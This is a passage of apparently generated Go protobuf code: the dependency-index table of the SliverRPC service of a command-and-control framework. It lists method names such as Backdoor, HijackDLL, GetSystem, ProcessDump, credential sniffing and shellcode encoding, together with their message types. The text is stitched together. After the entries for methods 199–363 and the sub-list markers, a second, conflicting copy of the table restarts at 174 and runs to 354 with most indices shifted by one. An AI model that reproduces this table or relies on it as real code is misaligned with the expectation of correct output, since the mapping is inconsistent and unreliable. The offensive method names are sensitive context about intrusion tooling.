138, // 199: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
10, // 200: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 201: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
139, // 202: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
11, // 203: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
11, // 204: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
0, // 205: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
140, // 206: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
141, // 207: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
0, // 208: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
142, // 209: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
16, // 210: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 211: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
16, // 212: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
16, // 213: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
143, // 214: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
17, // 215: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
0, // 216: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
0, // 217: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
0, // 218: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
18, // 219: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
17, // 220: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
17, // 221: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
18, // 222: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
144, // 223: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
19, // 224: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 225: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 226: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
145, // 227: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
146, // 228: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
0, // 229: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
146, // 230: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
145, // 231: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
0, // 232: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
147, // 233: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
148, // 234: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
0, // 235: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
30, // 236: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
0, // 237: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
149, // 238: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
150, // 239: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
151, // 240: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
30, // 241: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
0, // 242: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
0, // 243: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
152, // 244: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
34, // 245: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
0, // 246: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
153, // 247: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
35, // 248: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
0, // 249: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
36, // 250: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
0, // 251: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
0, // 252: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
145, // 253: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
154, // 254: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 255: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
155, // 256: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
156, // 257: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
157, // 258: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
158, // 259: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 260: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
39, // 261: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
159, // 262: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
160, // 263: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
161, // 264: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
162, // 265: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
163, // 266: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
164, // 267: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
0, // 268: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
165, // 269: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
43, // 270: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 271: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
43, // 272: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
43, // 273: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
43, // 274: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
46, // 275: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
166, // 276: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
167, // 277: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
168, // 278: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
169, // 279: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
170, // 280: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
171, // 281: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
171, // 282: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
172, // 283: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
173, // 284: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
174, // 285: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
175, // 286: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
176, // 287: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
177, // 288: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
178, // 289: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
179, // 290: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
180, // 291: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
181, // 292: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
170, // 293: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
182, // 294: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
183, // 295: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
184, // 296: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
185, // 297: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
186, // 298: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
187, // 299: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
188, // 300: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
189, // 301: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
190, // 302: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
190, // 303: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
190, // 304: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
191, // 305: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
192, // 306: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
193, // 307: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
193, // 308: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
194, // 309: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
195, // 310: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
196, // 311: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
197, // 312: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
198, // 313: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
199, // 314: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
200, // 315: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
201, // 316: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 317: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
202, // 318: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
203, // 319: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
200, // 320: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
200, // 321: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
200, // 322: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
204, // 323: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
205, // 324: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
206, // 325: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
207, // 326: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
208, // 327: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
209, // 328: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
210, // 329: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
211, // 330: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
212, // 331: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
213, // 332: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
214, // 333: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
215, // 334: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
216, // 335: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
217, // 336: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
218, // 337: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
219, // 338: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
220, // 339: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
219, // 340: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
111, // 341: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 342: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
221, // 343: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
222, // 344: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
223, // 345: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
224, // 346: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
225, // 347: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
226, // 348: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
227, // 349: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
227, // 350: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
228, // 351: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
228, // 352: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
229, // 353: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
230, // 354: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers
231, // 355: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell
232, // 356: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd
127, // 357: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks
0, // 358: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty
128, // 359: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData
129, // 360: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel
0, // 361: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty
130, // 362: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData
30, // 363: rpcpb.SliverRPC.Events:output_type -> clientpb.Event
182, // [182:364] is the sub-list for method output_type
0, // [0:182] is the sub-list for method input_type
126, // 174: rpcpb.SliverRPC.ShellResize:input_type -> sliverpb.ShellResizeReq
127, // 175: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq
128, // 176: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks
128, // 177: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks
129, // 178: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData
130, // 179: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel
130, // 180: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel
131, // 181: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData
0, // 182: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty
132, // 183: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version
0, // 184: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty
133, // 185: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators
0, // 186: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty
134, // 187: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure
0, // 188: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty
135, // 189: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions
136, // 190: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response
0, // 191: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty
137, // 192: rpcpb.SliverRPC.MonitorListConfig:output_type -> clientpb.MonitoringProviders
136, // 193: rpcpb.SliverRPC.MonitorAddConfig:output_type -> commonpb.Response
136, // 194: rpcpb.SliverRPC.MonitorDelConfig:output_type -> commonpb.Response
138, // 195: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.ListenerJob
138, // 196: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.ListenerJob
138, // 197: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.ListenerJob
138, // 198: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.ListenerJob
138, // 199: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.ListenerJob
139, // 200: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons
10, // 201: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon
0, // 202: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty
140, // 203: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks
11, // 204: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask
11, // 205: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask
0, // 206: rpcpb.SliverRPC.UpdateBeaconIntegrityInformation:output_type -> commonpb.Empty
141, // 207: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs
142, // 208: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob
0, // 209: rpcpb.SliverRPC.RestartJobs:output_type -> commonpb.Empty
143, // 210: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener
16, // 211: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot
0, // 212: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty
16, // 213: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot
16, // 214: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot
144, // 215: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot
17, // 216: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials
0, // 217: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty
0, // 218: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty
0, // 219: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty
18, // 220: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential
17, // 221: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials
17, // 222: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials
18, // 223: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential
145, // 224: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts
19, // 225: rpcpb.SliverRPC.Host:output_type -> clientpb.Host
0, // 226: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty
0, // 227: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty
146, // 228: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate
147, // 229: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig
0, // 230: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty
147, // 231: rpcpb.SliverRPC.GenerateExternalGetBuildConfig:output_type -> clientpb.ExternalImplantConfig
146, // 232: rpcpb.SliverRPC.GenerateStage:output_type -> clientpb.Generate
0, // 233: rpcpb.SliverRPC.StageImplantBuild:output_type -> commonpb.Empty
148, // 234: rpcpb.SliverRPC.GetHTTPC2Profiles:output_type -> clientpb.HTTPC2Configs
149, // 235: rpcpb.SliverRPC.GetHTTPC2ProfileByName:output_type -> clientpb.HTTPC2Config
0, // 236: rpcpb.SliverRPC.SaveHTTPC2Profile:output_type -> commonpb.Empty
30, // 237: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event
0, // 238: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty
150, // 239: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders
151, // 240: rpcpb.SliverRPC.GetCertificateInfo:output_type -> clientpb.CertificateInfo
152, // 241: rpcpb.SliverRPC.GetCertificateAuthorityInfo:output_type -> clientpb.CertificateAuthorityInfo
30, // 242: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event
0, // 243: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty
0, // 244: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty
153, // 245: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations
34, // 246: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask
0, // 247: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty
154, // 248: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles
35, // 249: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile
0, // 250: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty
36, // 251: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk
0, // 252: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty
0, // 253: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty
146, // 254: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate
155, // 255: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds
0, // 256: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty
156, // 257: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries
157, // 258: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig
158, // 259: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP
159, // 260: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles
0, // 261: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty
39, // 262: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile
160, // 263: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI
161, // 264: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler
162, // 265: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode
163, // 266: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap
164, // 267: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap
165, // 268: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests
0, // 269: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty
166, // 270: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites
43, // 271: rpcpb.SliverRPC.Website:output_type -> clientpb.Website
0, // 272: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty
43, // 273: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website
43, // 274: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website
43, // 275: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website
46, // 276: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping
167, // 277: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps
168, // 278: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate
169, // 279: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig
170, // 280: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat
171, // 281: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls
172, // 282: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd
172, // 283: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd
173, // 284: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv
174, // 285: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp
175, // 286: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm
176, // 287: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir
177, // 288: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download
178, // 289: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload
179, // 290: rpcpb.SliverRPC.Grep:output_type -> sliverpb.Grep
180, // 291: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod
181, // 292: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown
182, // 293: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes
171, // 294: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls
183, // 295: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd
184, // 296: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm
185, // 297: rpcpb.SliverRPC.Mount:output_type -> sliverpb.Mount
186, // 298: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump
187, // 299: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs
188, // 300: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate
189, // 301: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf
190, // 302: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem
191, // 303: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task
191, // 304: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task
191, // 305: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task
192, // 306: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly
193, // 307: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate
194, // 308: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute
194, // 309: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute
195, // 310: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload
196, // 311: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll
197, // 312: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot
198, // 313: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner
199, // 314: rpcpb.SliverRPC.Services:output_type -> sliverpb.Services
200, // 315: rpcpb.SliverRPC.ServiceDetail:output_type -> sliverpb.ServiceDetail
201, // 316: rpcpb.SliverRPC.StartServiceByName:output_type -> sliverpb.ServiceInfo
202, // 317: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener
0, // 318: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty
203, // 319: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners
204, // 320: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph
201, // 321: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo
201, // 322: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo
201, // 323: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo
205, // 324: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken
206, // 325: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo
207, // 326: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv
208, // 327: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv
209, // 328: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor
210, // 329: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead
211, // 330: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite
212, // 331: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey
213, // 332: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey
214, // 333: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList
215, // 334: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList
216, // 335: rpcpb.SliverRPC.RegistryReadHive:output_type -> sliverpb.RegistryReadHive
217, // 336: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand
218, // 337: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack
219, // 338: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs
220, // 339: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener
221, // 340: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners
220, // 341: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener
111, // 342: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession
0, // 343: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty
222, // 344: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension
223, // 345: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension
224, // 346: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions
225, // 347: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension
226, // 348: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions
227, // 349: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension
228, // 350: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward
228, // 351: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward
229, // 352: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks
229, // 353: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks
230, // 354: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders
